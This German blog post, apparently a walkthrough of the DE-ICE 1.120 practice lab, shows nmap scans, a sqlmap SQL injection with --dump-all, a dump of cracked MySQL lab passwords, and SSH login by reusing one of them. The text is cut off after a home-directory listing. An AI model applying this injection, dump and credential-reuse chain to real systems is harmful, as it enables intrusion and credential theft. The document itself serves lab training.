Fingerübungen: DE-ICE1.120

Irgendwie kam ich in den letzten Tagen auf die Idee mich mal wieder ein wenig mit Pentesting auseinanderzusetzen bzw. mal wieder einen Blick in die aktuelle Toollandschaft zu werfen. Also zog ich los um mir ein Pentestimage zu besorgen an dem ich mich ein wenig abarbeiten konnte. Fündig wurde ich bei Hackingdojo, wo ich die DE-ICE1.120 gefunden habe. Soweit ich mich erinnern konnte hatte ich mich an dieser noch nicht versucht. Also auf in den Kampf. Image laden, KVM einrichten, Netzwerk einrichten, Backtrack runterladen und dann konnte es losgehen.

Ganz so einfach war es diesmal zwar nicht weil ich mich bevor ich loslegen konnte wieder um mein Lab bemühen musste. KVM mit libvirt, ein isoliertes Netzwerk und ein kleines Openvpngateway später war ich dann so weit das ich wieder mit Tools spielen konnte ohne mein Produktivnetz zu gefährden, da ich eh gerade im Installationswahn war landete Backtrack direkt auf dem Labtop da Livecds auf die dauer ziemlich nerven. Damit war dann der Nebenkriegsschauplatz geschlossen, Zeit für ein wenig Spaß.

So los ging der Spaß, erstmal schauen wir mal wie das Netz aussieht.

root@bt:~# nmap -sP 192.168.1.0/24
Nmap scan report for 192.168.1.22
Host is up.
Nmap scan report for 192.168.1.120
Host is up (0.0059s latency).
MAC Address: 52:54:00:FD:F0:0A (QEMU Virtual NIC)
Nmap done: 256 IP addresses (2 hosts up) scanned in 9.21 seconds

Sah doch schonmal so aus wie erwartet. 2 Hosts up, einer ich einer mein Target.  Zeit für einen etwas genaueren Blick auf den Host.

# Nmap 6.25 scan initiated Mon Jan 28 16:38:48 2013 as: nmap -A -sC -sV -p 1-65535 -oA de-ice120 192.168.1.120
Nmap scan report for 192.168.1.120
Host is up (0.0050s latency).
Not shown: 65530 closed ports
PORT STATE SERVICE VERSION
21/tcp open ftp ProFTPD 1.3.2
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_dr-xr-xr-x 2 0 0 40 Jan 2 2011 incoming
22/tcp open ssh OpenSSH 5.1 (protocol 2.0)
| ssh-hostkey: 1024 93:21:70:f8:62:e6:88:25:39:5a:fe:0f:2c:aa:86:0b (DSA)
|_2048 6c:8f:22:85:c3:8c:5b:6c:56:82:c3:52:81:dd:f4:51 (RSA)
80/tcp open http Apache httpd 2.2.11 ((Unix) DAV/2 mod_ssl/2.2.11 OpenSSL/0.9.8k PHP/5.2.9 mod_apreq2-20051231/2.6.0 mod_perl/2.0.4 Perl/v5.10.0)
|_http-methods: No Allow or Public header in OPTIONS response (status code 200)
|_http-title: Primaline :: Quality Kitchen Accessories
443/tcp open ssl/http Apache httpd 2.2.11 ((Unix) DAV/2 mod_ssl/2.2.11 OpenSSL/0.9.8k PHP/5.2.9 mod_apreq2-20051231/2.6.0 mod_perl/2.0.4 Perl/v5.10.0)
|_http-methods: No Allow or Public header in OPTIONS response (status code 200)
|_http-title: Primaline :: Quality Kitchen Accessories
| ssl-cert: Subject: commonName=localhost/organizationName=Apache Friends/stateOrProvinceName=Berlin/countryName=DE
| Not valid before: 2004-10-01T08:10:30+00:00
|_Not valid after: 2010-09-30T08:10:30+00:00
|_ssl-date: 2013-01-28T15:39:52+00:00; +8s from local time.
|_sslv2: server still supports SSLv2
3306/tcp open mysql MySQL (unauthorized)
MAC Address: 52:54:00:FD:F0:0A (QEMU Virtual NIC)
Device type: general purpose
Running: Linux 2.6.X
OS CPE: cpe:/o:linux:linux_kernel:2.6
OS details: Linux 2.6.13 - 2.6.32
Network Distance: 1 hop
Service Info: OS: Unix
TRACEROUTE
HOP RTT ADDRESS
1 5.01 ms 192.168.1.120
OS and Service detection performed. Please report any incorrect results at http://nmap.org/submit/ .
# Nmap done at Mon Jan 28 16:39:44 2013 -- 1 IP address (1 host up) scanned in 57.14 seconds

Sieht doch mal ganz brauchbar aus. Einmal Apache mit Proftp,ssh und Mysql, sollte man sich doch mal genauer ansehen.

Also Browser auf und mal schauen was es da so schönes gibt. (Und ja, eine meiner ersten Amtshandlungen war einen ordentlichen Browser auf die Bactrack zu ziehen. Firefox geht mal so gar nicht!!!!!)

Webseite der DE-ICE1.120 CD Home Screen

 

Also einen Designpreis gewinnt das Ding wohl nicht aber schauen wir mal weiter. Nach ein wenig qualifiziertem herumklicken sah die Seite dann so aus:

DE-ICE1.120 Webseite nach ein wenig qualifiziertem herumklicken

 

 

Da stechen einem doch auf Anhieb mal 2 Dinge ins Auge. Zum einen das Favicvon, XAMPP!!!. XAMPP auf ner Linuxkiste hat so ungefähr den Charm eines Ferrari mit 15″ Stahlfelgen. Wo XAMPP ist findet man meist auch ein PHPMYADMIN, das behalte ich dann fürs erste mal im Hinterkopf.  Das zweite was mir ins Auge stach war die URL:

http://192.168.1.120/products.php?id=NULL

NULL klingt doch schonmal sehr vielversprechend. Also was nun zuerst? PhpMyAdmin suchen oder mal schauen was sich mit dem ID Parameter anstellen lässt. In der Backtracktoolliste findet sich ja einiges das man da jetzt benutzen könnte. Sqlmap hört sich doch für den Anfang mal ganz gut an, hab zwar mir dem Tool nicht wirklich Erfahrung aber ich hatte da was im Hinterkopf das es genau für diesen Zweck der Quasistandart ist. Testen schadet ja nicht, also schauen wir uns mal mit –help an was das Tool so alles kann.

 

root@bt:/pentest/database/sqlmap# ./sqlmap.py --help
sqlmap/1.0-dev-25eca9d - automatic SQL injection and database takeover tool
http://sqlmap.org
[!] legal disclaimer: usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Authors assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting at 14:31:05
Usage: python ./sqlmap.py [options]
Options:
-h, --help Show basic help message and exit
-hh Show advanced help message and exit
-v VERBOSE Verbosity level: 0-6 (default 1)
Target:
At least one of these options has to be specified to set the source to
get target urls from
-d DIRECT Direct connection to the database
-u URL, --url=URL Target url
-l LOGFILE Parse targets from Burp or WebScarab proxy logs
-m BULKFILE Scan multiple targets enlisted in a given textual file
-r REQUESTFILE Load HTTP request from a file
-g GOOGLEDORK Process Google dork results as target urls
-c CONFIGFILE Load options from a configuration INI file
Request:
These options can be used to specify how to connect to the target url
--data=DATA Data string to be sent through POST
--param-del=PDEL Character used for splitting parameter values
--cookie=COOKIE HTTP Cookie header
--load-cookies=LOC File containing cookies in Netscape/wget format
--cookie-urlencode URL Encode generated cookie injections
--drop-set-cookie Ignore Set-Cookie header from response
--user-agent=AGENT HTTP User-Agent header
--random-agent Use randomly selected HTTP User-Agent header
--randomize=RPARAM Randomly change value for given parameter(s)
--force-ssl Force usage of SSL/HTTPS requests
--host=HOST HTTP Host header
--referer=REFERER HTTP Referer header
--headers=HEADERS Extra headers (e.g. "Accept-Language: frnETag: 123")
--auth-type=ATYPE HTTP authentication type (Basic, Digest or NTLM)
--auth-cred=ACRED HTTP authentication credentials (name:password)
--auth-cert=ACERT HTTP authentication certificate (key_file,cert_file)
--proxy=PROXY Use a HTTP proxy to connect to the target url
--proxy-cred=PCRED HTTP proxy authentication credentials (name:password)
--ignore-proxy Ignore system default HTTP proxy
--delay=DELAY Delay in seconds between each HTTP request
--timeout=TIMEOUT Seconds to wait before timeout connection (default 30)
--retries=RETRIES Retries when the connection timeouts (default 3)
--scope=SCOPE Regexp to filter targets from provided proxy log
--safe-url=SAFURL Url address to visit frequently during testing
--safe-freq=SAFREQ Test requests between two visits to a given safe url
--skip-urlencode Skip URL encoding of POST data
--eval=EVALCODE Evaluate provided Python code before the request (e.g.
"import hashlib;id2=hashlib.md5(id).hexdigest()")
Optimization:
These options can be used to optimize the performance of sqlmap
-o Turn on all optimization switches
--predict-output Predict common queries output
--keep-alive Use persistent HTTP(s) connections
--null-connection Retrieve page length without actual HTTP response body
--threads=THREADS Max number of concurrent HTTP(s) requests (default 1)
Injection:
These options can be used to specify which parameters to test for,
provide custom injection payloads and optional tampering scripts
-p TESTPARAMETER Testable parameter(s)
--dbms=DBMS Force back-end DBMS to this value
--os=OS Force back-end DBMS operating system to this value
--invalid-bignum Use big numbers for invalidating values
--invalid-logical Use logical operations for invalidating values
--no-cast Turn off payload casting mechanism
--prefix=PREFIX Injection payload prefix string
--suffix=SUFFIX Injection payload suffix string
--skip=SKIP Skip testing for given parameter(s)
--tamper=TAMPER Use given script(s) for tampering injection data
Detection:
These options can be used to specify how to parse and compare page
content from HTTP responses when using blind SQL injection technique
--level=LEVEL Level of tests to perform (1-5, default 1)
--risk=RISK Risk of tests to perform (0-3, default 1)
--string=STRING String to match when query is evaluated to True
--regexp=REGEXP Regexp to match when query is evaluated to True
--code=CODE HTTP code to match when query is evaluated to True
--text-only Compare pages based only on the textual content
--titles Compare pages based only on their titles
Techniques:
These options can be used to tweak testing of specific SQL injection
techniques
--technique=TECH SQL injection techniques to test for (default "BEUST")
--time-sec=TIMESEC Seconds to delay the DBMS response (default 5)
--union-cols=UCOLS Range of columns to test for UNION query SQL injection
--union-char=UCHAR Character to use for bruteforcing number of columns
--dns-domain=DNAME Domain name used for DNS exfiltration attack
Fingerprint:
-f, --fingerprint Perform an extensive DBMS version fingerprint
Enumeration:
These options can be used to enumerate the back-end database
management system information, structure and data contained in the
tables. Moreover you can run your own SQL statements
-b, --banner Retrieve DBMS banner
--current-user Retrieve DBMS current user
--current-db Retrieve DBMS current database
--is-dba Detect if the DBMS current user is DBA
--users Enumerate DBMS users
--passwords Enumerate DBMS users password hashes
--privileges Enumerate DBMS users privileges
--roles Enumerate DBMS users roles
--dbs Enumerate DBMS databases
--tables Enumerate DBMS database tables
--columns Enumerate DBMS database table columns
--schema Enumerate DBMS schema
--count Retrieve number of entries for table(s)
--dump Dump DBMS database table entries
--dump-all Dump all DBMS databases tables entries
--search Search column(s), table(s) and/or database name(s)
-D DB DBMS database to enumerate
-T TBL DBMS database table to enumerate
-C COL DBMS database table column to enumerate
-U USER DBMS user to enumerate
--exclude-sysdbs Exclude DBMS system databases when enumerating tables
--start=LIMITSTART First query output entry to retrieve
--stop=LIMITSTOP Last query output entry to retrieve
--first=FIRSTCHAR First query output word character to retrieve
--last=LASTCHAR Last query output word character to retrieve
--sql-query=QUERY SQL statement to be executed
--sql-shell Prompt for an interactive SQL shell
Brute force:
These options can be used to run brute force checks
--common-tables Check existence of common tables
--common-columns Check existence of common columns
User-defined function injection:
These options can be used to create custom user-defined functions
--udf-inject Inject custom user-defined functions
--shared-lib=SHLIB Local path of the shared library
File system access:
These options can be used to access the back-end database management
system underlying file system
--file-read=RFILE Read a file from the back-end DBMS file system
--file-write=WFILE Write a local file on the back-end DBMS file system
--file-dest=DFILE Back-end DBMS absolute filepath to write to
Operating system access:
These options can be used to access the back-end database management
system underlying operating system
--os-cmd=OSCMD Execute an operating system command
--os-shell Prompt for an interactive operating system shell
--os-pwn Prompt for an out-of-band shell, meterpreter or VNC
--os-smbrelay One click prompt for an OOB shell, meterpreter or VNC
--os-bof Stored procedure buffer overflow exploitation
--priv-esc Database process' user privilege escalation
--msf-path=MSFPATH Local path where Metasploit Framework is installed
--tmp-path=TMPPATH Remote absolute path of temporary files directory
Windows registry access:
These options can be used to access the back-end database management
system Windows registry
--reg-read Read a Windows registry key value
--reg-add Write a Windows registry key value data
--reg-del Delete a Windows registry key value
--reg-key=REGKEY Windows registry key
--reg-value=REGVAL Windows registry key value
--reg-data=REGDATA Windows registry key value data
--reg-type=REGTYPE Windows registry key value type
General:
These options can be used to set some general working parameters
-t TRAFFICFILE Log all HTTP traffic into a textual file
--batch Never ask for user input, use the default behaviour
--charset=CHARSET Force character encoding used for data retrieval
--check-tor Check to see if Tor is used properly
--crawl=CRAWLDEPTH Crawl the website starting from the target url
--csv-del=CSVDEL Delimiting character used in CSV output (default ",")
--dbms-cred=DCRED DBMS authentication credentials (user:password)
--eta Display for each output the estimated time of arrival
--flush-session Flush session files for current target
--forms Parse and test forms on target url
--fresh-queries Ignores query results stored in session file
--hex Uses DBMS hex function(s) for data retrieval
--output-dir=ODIR Custom output directory path
--parse-errors Parse and display DBMS error messages from responses
--replicate Replicate dumped data into a sqlite3 database
--save Save options to a configuration INI file
--tor Use Tor anonymity network
--tor-port=TORPORT Set Tor proxy port other than default
--tor-type=TORTYPE Set Tor proxy type (HTTP - default, SOCKS4 or SOCKS5)
--update Update sqlmap
Miscellaneous:
-z MNEMONICS Use short mnemonics (e.g. "flu,bat,ban,tec=EU")
--beep Sound alert when SQL injection found
--check-payload Offline WAF/IPS/IDS payload detection testing
--check-waf Check for existence of WAF/IPS/IDS protection
--cleanup Clean up the DBMS by sqlmap specific UDF and tables
--dependencies Check for missing sqlmap dependencies
--disable-hash Disable password hash cracking mechanism
--disable-like Disable LIKE search of identificator names
--gpage=GOOGLEPAGE Use Google dork results from specified page number
--mobile Imitate smartphone through HTTP User-Agent header
--page-rank Display page rank (PR) for Google dork results
--purge-output Safely remove all content from output directory
--smart Conduct through tests only if positive heuristic(s)
--test-filter=TSTF Select tests by payloads and/or titles (e.g. ROW)
--wizard Simple wizard interface for beginner users

Der passende Befehl lautet also:

root@bt:/pentest/database/sqlmap# ./sqlmap.py -u http://192.168.1.120/products.php?id=NULL --dump-all

Das –dump-all hielt ich für den Anfang für eine gute Wahl. Bei einer Pentestcd gibt es ja keinen Grund für falsche Zurückhaltung 😉
Was da auf der Konsole so an mir vorbeiflitzte sah mal eben richtig gut aus. Unter anderem eine Datenbank mit dem schönen Namen ‘phpmyadmin’.
Gut, das mal so als Notiz am Rande, als sqlmap allerdings anfing sich durch die mysql Datenbank zu wühlen war ich schon etwas beeindruckt. Anscheinend hat da jemand für die Webseite einen Benutzer mit zu vielen Zugriffsrechten angelegt. Während ich noch am Staunen war was das kleine Tool da gerade leistet poppte eine kleine Frage von dem Tool vor mir auf.

[INFO] fetching entries for table 'user' in database 'mysql'
[INFO] analyzing table dump for possible password hashes
recognized possible password hashes in column 'Password'. Do you want to crack them via a dictionary-based attack? [Y/n/q]

Naja, dachte ich mir, wenn das Tool es schon anbietet gib halt mal Gas. Einmal Y und einmal Auswahl des default Wörterbuches später legte sqlmap auch schon wieder los. Das Ergebniss war beachtlich, einmal alle Passwörter bis auf eins, das der Webseite. Der .csv Dump der mysql.user Tabelle sah nachdem sqlmap durchgelaufen war so aus:

Host,User,Password,ssl_type,Drop_priv,File_priv,Grant_priv,Super_priv,Alter_priv,ssl_cipher,Index_priv,Event_priv,Create_priv,max_updates,Reload_priv,Delete_priv,Insert_priv,x509_issuer,Select_priv,Update_priv,Execute_priv,Show_db_priv,x509_subject,Process_priv,Trigger_priv,Shutdown_priv,max_questions,Show_view_priv,References_priv,max_connections,Repl_slave_priv,Repl_client_priv,Create_user_priv,Create_view_priv,Lock_tables_priv,Alter_routine_priv,Create_routine_priv,max_user_connections,Create_tmp_table_priv
localhost,dgrant,*AA1420F182E88B9E5F874F6FBE7459291E8F4601 (qwerty),,N,N,N,N,N,,N,N,N,0,N,N,N,,N,N,N,N,,N,N,N,0,N,N,0,N,N,N,N,N,N,N,0,N
localhost,tgoodchap,*DF216F57F1F2066124E1AA5491D995C3CB57E4C2 (welcome),,N,N,N,N,N,,N,N,N,0,N,N,N,,N,N,N,N,,N,N,N,0,N,N,0,N,N,N,N,N,N,N,0,N
localhost,kclemons,*D183105443FBDE597607B8BC5475A9E1B7847F3E (gizmodo),,N,N,N,N,N,,N,N,N,0,N,N,N,,N,N,N,N,,N,N,N,0,N,N,0,N,N,N,N,N,N,N,0,N
localhost,jayala,*B2B366CA5C4697F31D4C55D61F0B17E70E5664EC (666666),,N,N,N,N,N,,N,N,N,0,N,N,N,,N,N,N,N,,N,N,N,0,N,N,0,N,N,N,N,N,N,N,0,N
localhost,dstevens,*84AAC12F54AB666ECFC2A83C676908C8BBC381B1 (12345678),,N,N,N,N,N,,N,N,N,0,N,N,N,,N,N,N,N,,N,N,N,0,N,N,0,N,N,N,N,N,N,N,0,N
localhost,qpowers,*79BF466BCC601BD91A0897BB162421F9BA8C29CA (lifehack),,N,N,N,N,N,,N,N,N,0,N,N,N,,N,N,N,N,,N,N,N,0,N,N,0,N,N,N,N,N,N,N,0,N
localhost,aharp,*2A032F7C5BA932872F0F045E0CF6B53CF702F2C5 (654321),,N,N,N,N,N,,N,N,N,0,N,N,N,,N,N,N,N,,N,N,N,0,N,N,0,N,N,N,N,N,N,N,0,N
localhost,swarren,*2CE4701D02A76C12CD513109CA16967A68B4C23A (princess),,N,N,N,N,N,,N,N,N,0,N,N,N,,N,N,N,N,,N,N,N,0,N,N,0,N,N,N,N,N,N,N,0,N
localhost,cchisholm,*ED043A01F4583450BC8EB1E83C00C372CA49C4E4 (michelle),,N,N,N,N,N,,N,N,N,0,N,N,N,,N,N,N,N,,N,N,N,0,N,N,0,N,N,N,N,N,N,N,0,N
localhost,jalcantar,*8D6A637F37955DBFCE1229204DDBED1CE11E6F41 (master),,N,N,N,N,N,,N,N,N,0,N,N,N,,N,N,N,N,,N,N,N,0,N,N,0,N,N,N,N,N,N,N,0,N
localhost,jfranklin,*6691484EA6B50DDDE1926A220DA01FA9E575C18A (abc123),,N,N,N,N,N,,N,N,N,0,N,N,N,,N,N,N,N,,N,N,N,0,N,N,0,N,N,N,N,N,N,N,0,N
localhost,lmartinez,*44FFB04331ADAECB1FAB104F634E9B066BF8C6DC (pokemon),,N,N,N,N,N,,N,N,N,0,N,N,N,,N,N,N,N,,N,N,N,0,N,N,0,N,N,N,N,N,N,N,0,N
localhost,sgains,*FD571203974BA9AFE270FE62151AE967ECA5E0AA (111111),,N,N,N,N,N,,N,N,N,0,N,N,N,,N,N,N,N,,N,N,N,0,N,N,0,N,N,N,N,N,N,N,0,N
localhost,jbresnahan,*2470C0C06DEE42FD1618BB99005ADCA2EC9D1E19 (password),,N,N,N,N,N,,N,N,N,0,N,N,N,,N,N,N,N,,N,N,N,0,N,N,0,N,N,N,N,N,N,N,0,N
localhost,dtraylor,*C5FEAC8A32D4FAFF1EF681447DA706634352AFF8 (killer),,N,N,N,N,N,,N,N,N,0,N,N,N,,N,N,N,N,,N,N,N,0,N,N,0,N,N,N,N,N,N,N,0,N
localhost,dgilfillan,*00A51F3F48415C7D4E8908980D443C29C69B60C9 (12345),,N,N,N,N,N,,N,N,N,0,N,N,N,,N,N,N,N,,N,N,N,0,N,N,0,N,N,N,N,N,N,N,0,N
localhost,sjohnson,*D6B63C1953E7F096DB307F8AC48C4AD703E57001 (sunshine),,N,N,N,N,N,,N,N,N,0,N,N,N,,N,N,N,N,,N,N,N,0,N,N,0,N,N,N,N,N,N,N,0,N
localhost,aspears,*3EEB06BE54EABF909DC8F6107110777F1DE43186 (gawker),,N,N,N,N,N,,N,N,N,0,N,N,N,,N,N,N,N,,N,N,N,0,N,N,0,N,N,N,N,N,N,N,0,N
localhost,tdeleon,*74B1C21ACE0C2D6B0678A5E503D2A60E8F9651A3 (passw0rd),,N,N,N,N,N,,N,N,N,0,N,N,N,,N,N,N,N,,N,N,N,0,N,N,0,N,N,N,N,N,N,N,0,N
localhost,myajima,*7B2F14D9BB629E334CD49A1028BD85750F7D3530 (shadow),,N,N,N,N,N,,N,N,N,0,N,N,N,,N,N,N,N,,N,N,N,0,N,N,0,N,N,N,N,N,N,N,0,N
localhost,mnader,*90837F291B744BBE86DF95A37D2B2524185DBBF5 (whatever),,N,N,N,N,N,,N,N,N,0,N,N,N,,N,N,N,N,,N,N,N,0,N,N,0,N,N,N,N,N,N,N,0,N
localhost,ktso,*A7D31514D37A55CE91C6C5DF97299CBC1B1937EC (jordan),,N,N,N,N,N,,N,N,N,0,N,N,N,,N,N,N,N,,N,N,N,0,N,N,0,N,N,N,N,N,N,N,0,N
localhost,kwebber,*4DC6D98E4CF6200B9F5529AFDE2E3B909F41E4D0 (kotaku),,N,N,N,N,N,,N,N,N,0,N,N,N,,N,N,N,N,,N,N,N,0,N,N,0,N,N,N,N,N,N,N,0,N
localhost,aadams,*AE9F960F8FA0994C9878D2245DA640EAFF09BA0E (superman),,N,N,N,N,N,,N,N,N,0,N,N,N,,N,N,N,N,,N,N,N,0,N,N,0,N,N,N,N,N,N,N,0,N
localhost,rpatel,*B021918A5DCA54916CF724573179571DFC37AC88 (jennifer),,N,N,N,N,N,,N,N,N,0,N,N,N,,N,N,N,N,,N,N,N,0,N,N,0,N,N,N,N,N,N,N,0,N
localhost,djohnson,*FBA7C2D27C9D05F3FD4C469A1BBAF557114E5594 (Password),,N,N,N,N,N,,N,N,N,0,N,N,N,,N,N,N,N,,N,N,N,0,N,N,0,N,N,N,N,N,N,N,0,N
localhost,lmorales,*94F3DC3F398B76269CAAD51627279D4233A6C89A (soccer),,N,N,N,N,N,,N,N,N,0,N,N,N,,N,N,N,N,,N,N,N,0,N,N,0,N,N,N,N,N,N,N,0,N
localhost,amaynard,*626AC8265C7D53693CB7478376CE1B4825DFF286 (pepper),,N,N,N,N,N,,N,N,N,0,N,N,N,,N,N,N,N,,N,N,N,0,N,N,0,N,N,N,N,N,N,N,0,N
localhost,hlovell,*FCAAF3F0BD94C027B2769A95903C355CE6294660 (football),,N,N,N,N,N,,N,N,N,0,N,N,N,,N,N,N,N,,N,N,N,0,N,N,0,N,N,N,N,N,N,N,0,N
localhost,ccoffee,*3B477BC23EA39BFF66D64BFB68DB5EC5F5E31C91 (consumer),,N,N,N,N,N,,N,N,N,0,N,N,N,,N,N,N,N,,N,N,N,0,N,N,0,N,N,N,N,N,N,N,0,N
localhost,dwestling,*A4B6157319038724E3560894F7F932C8886EBFCF (1234),,N,N,N,N,N,,N,N,N,0,N,N,N,,N,N,N,N,,N,N,N,0,N,N,0,N,N,N,N,N,N,N,0,N
localhost,strammel,*81101DED975D54BD76A3C8EAD293597AE9BB143F (computer),,N,N,N,N,N,,N,N,N,0,N,N,N,,N,N,N,N,,N,N,N,0,N,N,0,N,N,N,N,N,N,N,0,N
localhost,bbanter,*DB1B792EC6DAE393BAE7AD832D3AF207C12E9A00 (michael),,N,N,N,N,N,,N,N,N,0,N,N,N,,N,N,N,N,,N,N,N,0,N,N,0,N,N,N,N,N,N,N,0,N
localhost,mholland,*D37C49F9CBEFBF8B6F4B165AC703AA271E079004 (letmein),,N,N,N,N,N,,N,N,N,0,N,N,N,,N,N,N,N,,N,N,N,0,N,N,0,N,N,N,N,N,N,N,0,N
localhost,aheflin,*51AA306E66303073DBA15D2750E23C90C7A7F947 (baseball),,N,N,N,N,N,,N,N,N,0,N,N,N,,N,N,N,N,,N,N,N,0,N,N,0,N,N,N,N,N,N,N,0,N
localhost,jdavenport,*61305383748FBEAB119F9A8BC35EBBADB4889A9D (babyl0n),,Y,Y,N,Y,Y,,Y,Y,Y,0,Y,Y,Y,,Y,Y,Y,Y,,Y,Y,Y,0,Y,Y,0,Y,Y,Y,Y,Y,Y,Y,0,Y
localhost,aard,*797420C584EBF42750EB523104268BA0FD87FBC8 (internet),,N,N,N,N,N,,N,N,N,0,N,N,N,,N,N,N,N,,N,N,N,0,N,N,0,N,N,N,N,N,N,N,0,N
localhost,mbryan,*A5892368AE83685440A1E27D012306B073BDF5B7 (monkey),,N,N,N,N,N,,N,N,N,0,N,N,N,,N,N,N,N,,N,N,N,0,N,N,0,N,N,N,N,N,N,N,0,N
localhost,rdominguez,*46CFC7938B60837F46B610A2D10C248874555C14 (trustno1),,N,N,N,N,N,,N,N,N,0,N,N,N,,N,N,N,N,,N,N,N,0,N,N,0,N,N,N,N,N,N,N,0,N
localhost,dcooper,*446525BB82B5E22BD9E525261D37C494F623C52B (blahblah),,N,N,N,N,N,,N,N,N,0,N,N,N,,N,N,N,N,,N,N,N,0,N,N,0,N,N,N,N,N,N,N,0,N
localhost,jduff,*22AC3D548EB2C2A2F4E609ADA63251D0AF795AD9 (nintendo),,N,N,N,N,N,,N,N,N,0,N,N,N,,N,N,N,N,,N,N,N,0,N,N,0,N,N,N,N,N,N,N,0,N
localhost,jalvarez,*24B8599BAF46DD4B4D8DB50A3B10136457492622 (starwars),,N,N,N,N,N,,N,N,N,0,N,N,N,,N,N,N,N,,N,N,N,0,N,N,0,N,N,N,N,N,N,N,0,N
localhost,krenfro,*B12289EEF8752AD620294A64A37CD586223AB454 (0),,N,N,N,N,N,,N,N,N,0,N,N,N,,N,N,N,N,,N,N,N,0,N,N,0,N,N,N,N,N,N,N,0,N
localhost,mrodriguez,*6A7A490FB9DC8C33C2B025A91737077A7E9CC5E5 (1234567),,N,N,N,N,N,,N,N,N,0,N,N,N,,N,N,N,N,,N,N,N,0,N,N,0,N,N,N,N,N,N,N,0,N
localhost,bwatkins,*6BB4837EB74329105EE4568DDA7DC67ED2CA2AD9 (123456),,N,N,N,N,N,,N,N,N,0,N,N,N,,N,N,N,N,,N,N,N,0,N,N,0,N,N,N,N,N,N,N,0,N
localhost,aweiland,*F8E113FD51D520075836A4B815568BA2B96F7C30 (dragon),,N,N,N,N,N,,N,N,N,0,N,N,N,,N,N,N,N,,N,N,N,0,N,N,0,N,N,N,N,N,N,N,0,N
localhost,bphillips,*7FD9F123C9FC025372A5AAD19D107783CD19CCF7 (cheese),,N,N,N,N,N,,N,N,N,0,N,N,N,,N,N,N,N,,N,N,N,0,N,N,0,N,N,N,N,N,N,N,0,N
localhost,aallen,*E56A114692FE0DE073F9A1DD68A00EEB9703F3F1 (123123),,N,N,N,N,N,,N,N,N,0,N,N,N,,N,N,N,N,,N,N,N,0,N,N,0,N,N,N,N,N,N,N,0,N
localhost,rjacobson,*F491287896471CB21030790BF46865C4A39DE651 (batman),,N,N,N,N,N,,N,N,N,0,N,N,N,,N,N,N,N,,N,N,N,0,N,N,0,N,N,N,N,N,N,N,0,N
localhost,webapp,*0DCC22A95EEBFF4984DF6A7B7F2D7D28DBB5F36F,,Y,Y,N,Y,Y,,Y,Y,Y,0,Y,Y,Y,,Y,Y,Y,Y,,Y,Y,Y,0,Y,Y,0,Y,Y,Y,Y,Y,Y,Y,0,Y

Wow, eine ganze Liste von Benutzernamen und Passwörtern für die Datenbank. Bringt mich jetzt allerdings beim MySql Dienst nicht so wirklich weiter da alle Benutzer auf localhost festgenagelt sind, ausserdem hab ich ja bereits alles was man so von einer Datenbank erwarten kann, was ich jetzt brauchte war eine Shell, also versuchen wir es ganz einfach mal mit den Benutzernamen und den Passwörtern per ssh. Für den Anfang nehme ich mal den Benutzer ‘jdavenport’ da er der einzige ist der neben ‘webapp’ erweiterte Rechte hat.

root@bt:~# ssh jdavenport@192.168.1.120
The authenticity of host '192.168.1.120 (192.168.1.120)' can't be established.
RSA key fingerprint is ed:c6:39:58:4c:04:75:be:b8:b7:e1:4e:cc:20:ca:ab.
Are you sure you want to continue connecting (yes/no)? yes
Warning: Permanently added '192.168.1.120' (RSA) to the list of known hosts.
jdavenport@192.168.1.120's password:
Linux 2.6.27.27.
jdavenport@slax:~$ ls -ahl /home/
total 0
dr-xr-xr-x 53 root       root  1.1K Feb  1 10:36 ./
drwxr-xr-x 91 root       root   280 Feb  1 10:36 ../
drwx------  3 aadams     users  100 Feb  1 10:36 aadams/
drwx------  2 aallen     users  100 Feb  1 10:36 aallen/
drwx------  2 aard       users   80 Feb  1 10:36 aard/
drwx------  2 aharp      users   80 Feb  1 10:36 aharp/
drwx------  2 aheflin    users   80 Feb  1 10:36 aheflin/
drwx------  2 amaynard   users   80 Feb  1 10:36 amaynard/
drwx------  2 aspears    users  100 Feb  1 10:36 aspears/
drwx------  2 aweiland   users   80 Feb  1 10:36 aweiland/
drwx------  2 bbanter    users  100 Feb  1 10:36 bbanter/
drwx------  2 bphillips  users   80 Feb  1 10:36 bphillips/
drwx------  2 bwatkins   users   80 Feb  1 10:36 bwatkins/
drwx------  2 cchisholm  users  100 Feb  1 10:36 cchisholm/
drwx------  3 ccoffee    users  120 Feb  1 10:36 ccoffee/
drwx------  2 dcooper    users   80 Feb  1 10:36 dcooper/
drwx------  2 dgilfillan users   80 Feb  1 10:36 dgilfillan/
drwx------  2 dgrant     users   80 Feb  1 10:36 dgrant/
drwx------  2 djohnson   users   80 Feb  1 10:36 djohnson/
drwx------  2 dstevens   users   80 Feb  1 10:36 dstevens/
drwx------  2 dtraylor   users   80 Feb  1 10:36 dtraylor/
drwx------  2 dwestling  users   80 Feb  1 10:36 dwestling/
dr-xr-xr-x  3 root       root    60 Jan  2  2011 ftp/
drwx------  2 hlovell    users  100 Feb  1 10:36 hlovell/
drwx------  2 jalcantar  users   80 Feb  1 10:36 jalcantar/
drwx------  2 jalvarez   users  100 Feb  1 10:36 jalvarez/
drwx------  2 jayala     users   80 Feb  1 10:36 jayala/
drwx------  2 jbresnahan users   80 Feb  1 10:36 jbresnahan/
drwx------  2 jdavenport users  120 Feb  1 10:36 jdavenport/
drwx------  2 jduff      users  100 Feb  1 10:36 jduff/
drwx------  2 jfranklin  users   80 Feb  1 10:36 jfranklin/
drwx------  2 kclemons   users   80 Feb  1 10:36 kclemons/
drwx------  2 krenfro    users  100 Feb  1 10:36 krenfro/
drwx------  2 ktso       users  100 Feb  1 10:36 ktso/
drwx------  2 kwebber    users  100 Feb  1 10:36 kwebber/
drwx------  2 lmartinez  users  100 Feb  1 10:36 lmartinez/
drwx------  2 lmorales   users   80 Feb  1 10:36 lmorales/
drwx------  2 mbryan     users   80 Feb  1 10:36 mbryan/
drwx------  2 mholland   users   80 Feb  1 10:36 mholland/
drwx------  2 mnader     users  100 Feb  1 10:36 mnader/
drwx------  2 mrodriguez users   80 Feb  1 10:36 mrodriguez/
drwx------  2 myajima    users   80 Feb  1 10:36 myajima/
drwx------  2 qpowers    users   80 Feb  1 10:36 qpowers/
drwx------  2 rdominguez users   80 Feb  1 10:36 rdominguez/
drwx------  2 rjacobson  users   80 Feb  1 10:36 rjacobson/
drwx------  2 rpatel     users  100 Feb  1 10:36 rpatel/
drwx------  2 sgains     users   80 Feb  1 10:36 sgains/
drwx------  2 sjohnson   users   80 Feb  1 10:36 sjohnson/
